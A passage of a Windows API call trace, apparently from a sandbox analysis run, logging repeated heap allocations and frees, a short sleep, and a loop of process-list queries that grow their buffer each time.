	[0065.086] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28776a0
	[0065.086] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28776a0) returned 1
	[0065.086] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20) returned 0x2876ce8
	[0065.086] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876ce8) returned 1
	[0065.086] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20) returned 0x2877148
	[0065.086] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877148) returned 1
	[0065.087] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0065.087] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0065.087] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x10) returned 0x28795c0
	[0065.087] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28795c0) returned 1
	[0065.087] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0065.087] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0065.087] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28775a0
	[0065.087] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28775a0) returned 1
	[0065.087] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877660
	[0065.087] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877660) returned 1
	[0065.087] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0065.087] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0065.087] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28775a0
	[0065.087] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28775a0) returned 1
	[0065.087] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0065.087] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0065.087] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0065.087] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0065.087] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28775a0
	[0065.087] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28775a0) returned 1
	[0065.087] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0065.087] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0065.087] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877660
	[0065.087] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877660) returned 1
	[0065.087] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0065.087] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0065.087] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28776a0
	[0065.087] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28776a0) returned 1
	[0065.087] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877660
	[0065.087] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877660) returned 1
	[0065.087] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x28775a0
	[0065.088] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28775a0) returned 1
	[0065.088] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0065.088] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0065.088] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x2876ec8
	[0065.088] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876ec8) returned 1
	[0065.088] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876fb8
	[0065.088] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876fb8) returned 1
	[0065.088] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2a) returned 0x2881e50
	[0065.088] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881e50) returned 1
	[0065.088] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x34) returned 0x286f588
	[0065.088] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x286f588) returned 1
	[0065.088] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x26) returned 0x2877e88
	[0065.088] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877e88) returned 1
	[0065.088] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x30) returned 0x2881a60
	[0065.088] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881a60) returned 1
	[0065.088] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876f40
	[0065.088] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876f40) returned 1
	[0065.088] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x24) returned 0x2877d98
	[0065.088] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877d98) returned 1
	[0065.088] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876dd8
	[0065.088] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876dd8) returned 1
	[0065.088] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x10) returned 0x2879560
	[0065.088] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2879560) returned 1
	[0065.088] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x2876cc0
	[0065.088] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876cc0) returned 1
	[0065.088] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2e) returned 0x2881c20
	[0065.088] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881c20) returned 1
	[0065.088] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x26) returned 0x2877d98
	[0065.088] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877d98) returned 1
	[0065.088] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x2876d60
	[0065.089] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876d60) returned 1
	[0065.089] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x10) returned 0x2879698
	[0065.089] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2879698) returned 1
	[0065.089] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2c) returned 0x28819b8
	[0065.089] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28819b8) returned 1
	[0065.089] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x48) returned 0x2862928
	[0065.089] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2862928) returned 1
	[0065.089] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2e) returned 0x2881b08
	[0065.089] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881b08) returned 1
	[0065.089] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2c) returned 0x2881a60
	[0065.089] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881a60) returned 1
	[0065.089] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20) returned 0x2877170
	[0065.089] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877170) returned 1
	[0065.089] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0065.089] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0065.089] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28776a0
	[0065.089] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28776a0) returned 1
	[0065.089] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x38) returned 0x286f588
	[0065.089] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x286f588) returned 1
	[0065.089] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x42) returned 0x2862518
	[0065.089] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2862518) returned 1
	[0065.089] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x32) returned 0x286fa08
	[0065.089] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x286fa08) returned 1
	[0065.089] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2c) returned 0x28819b8
	[0065.089] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28819b8) returned 1
	[0065.089] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2a) returned 0x2881f30
	[0065.089] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881f30) returned 1
	[0065.089] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877660
	[0065.089] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877660) returned 1
	[0065.089] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x2876cc0
	[0065.090] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876cc0) returned 1
	[0065.090] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x28775a0
	[0065.090] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28775a0) returned 1
	[0065.090] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x26) returned 0x2877fa8
	[0065.090] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877fa8) returned 1
	[0065.090] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2877520
	[0065.090] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0065.090] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x28770a8
	[0065.090] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28770a8) returned 1
	[0065.090] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0065.090] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0065.090] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x10) returned 0x2879698
	[0065.090] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2879698) returned 1
	[0065.090] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x2876ec8
	[0065.090] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876ec8) returned 1
	[0065.090] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876fb8
	[0065.090] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876fb8) returned 1
	[0065.090] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2877520
	[0065.090] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0065.090] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x26) returned 0x2877f48
	[0065.090] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877f48) returned 1
	[0065.090] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2a) returned 0x2881bb0
	[0065.090] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881bb0) returned 1
	[0065.090] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x10) returned 0x28795c0
	[0065.090] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28795c0) returned 1
	[0065.090] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2877030
	[0065.090] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877030) returned 1
	[0065.090] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2877520
	[0065.090] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0065.090] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0065.091] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0065.091] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x2876f40
	[0065.091] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876f40) returned 1
	[0065.091] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x2877520
	[0065.091] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0065.091] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x2876d10
	[0065.091] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876d10) returned 1
	[0065.091] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x28776a0
	[0065.091] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28776a0) returned 1
	[0065.091] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876f18
	[0065.091] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876f18) returned 1
	[0065.091] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876f18
	[0065.091] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876f18) returned 1
	[0065.091] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2877080
	[0065.091] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877080) returned 1
	[0065.091] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876fb8
	[0065.091] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876fb8) returned 1
	[0065.091] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876e50
	[0065.091] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876e50) returned 1
	[0065.091] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x2877520
	[0065.091] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0065.091] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x26) returned 0x2877f18
	[0065.091] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877f18) returned 1
	[0065.091] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x24) returned 0x2877f48
	[0065.091] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877f48) returned 1
	[0065.091] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28776a0
	[0065.091] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28776a0) returned 1
	[0065.091] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2877520
	[0065.091] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0065.091] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x2877520
	[0065.092] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0065.092] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1e) returned 0x28770d0
	[0065.092] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28770d0) returned 1
	[0065.092] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2c) returned 0x2882080
	[0065.092] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2882080) returned 1
	[0065.092] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x24) returned 0x2878278
	[0065.092] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2878278) returned 1
	[0065.092] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x2877520
	[0065.092] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0065.092] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x12) returned 0x2877520
	[0065.092] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0065.092] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x28775a0
	[0065.092] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28775a0) returned 1
	[0065.092] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x22) returned 0x2878098
	[0065.092] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2878098) returned 1
	[0065.092] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877660
	[0065.092] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877660) returned 1
	[0065.092] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x28775a0
	[0065.092] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28775a0) returned 1
	[0065.092] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x28) returned 0x2877d08
	[0065.092] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877d08) returned 1
	[0065.092] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x12) returned 0x2877660
	[0065.092] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877660) returned 1
	[0065.092] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20) returned 0x2876f18
	[0065.092] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876f18) returned 1
	[0065.092] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876f68
	[0065.092] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876f68) returned 1
	[0065.092] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x2876d38
	[0065.092] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876d38) returned 1
	[0065.093] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x2876e50
	[0065.093] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876e50) returned 1
	[0065.093] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2e) returned 0x2881fd8
	[0065.093] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881fd8) returned 1
	[0065.093] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x22) returned 0x2877f48
	[0065.093] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877f48) returned 1
	[0065.093] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0xe) returned 0x2879560
	[0065.093] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2879560) returned 1
	[0065.093] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x2876fb8
	[0065.093] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876fb8) returned 1
	[0065.093] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0065.093] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0065.093] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877660
	[0065.093] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877660) returned 1
	[0065.093] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0065.093] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0065.093] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28776a0
	[0065.093] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28776a0) returned 1
	[0065.093] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x28770d0
	[0065.093] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28770d0) returned 1
	[0065.093] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2a) returned 0x2881be8
	[0065.093] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881be8) returned 1
	[0065.093] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876d60
	[0065.093] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876d60) returned 1
	[0065.093] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876fb8
	[0065.093] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876fb8) returned 1
	[0065.093] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0065.093] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0065.093] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2882158) returned 1
	[0065.093] Sleep (dwMilliseconds=0x64) 
	[0065.224] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1024) returned 0x2882180
	[0065.224] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882180, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x2882180, ResultLength=0x0) returned 0xc0000004
	[0065.224] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882180, Size=0x2048) returned 0x2892160
	[0065.224] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.224] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x306c) returned 0x2892160
	[0065.224] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.225] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x4090) returned 0x2892160
	[0065.225] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.225] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x50b4) returned 0x2892160
	[0065.225] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.225] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x60d8) returned 0x2892160
	[0065.225] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.225] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x70fc) returned 0x2892160
	[0065.225] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.226] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x8120) returned 0x2892160
	[0065.226] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.226] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x9144) returned 0x2892160
	[0065.226] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.226] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0xa168) returned 0x2892160
	[0065.226] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.226] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0xb18c) returned 0x2892160
	[0065.226] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.227] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0xc1b0) returned 0x2892160
	[0065.227] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.227] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0xd1d4) returned 0x2892160
	[0065.227] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.227] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0xe1f8) returned 0x2892160
	[0065.227] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.228] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0xf21c) returned 0x2892160
	[0065.228] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.228] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x10240) returned 0x2892160
	[0065.228] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
	[0065.228] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2892160, Size=0x11264) returned 0x2892160
	[0065.228] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2892160, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2892160, ResultLength=0x0) returned 0xc0000004
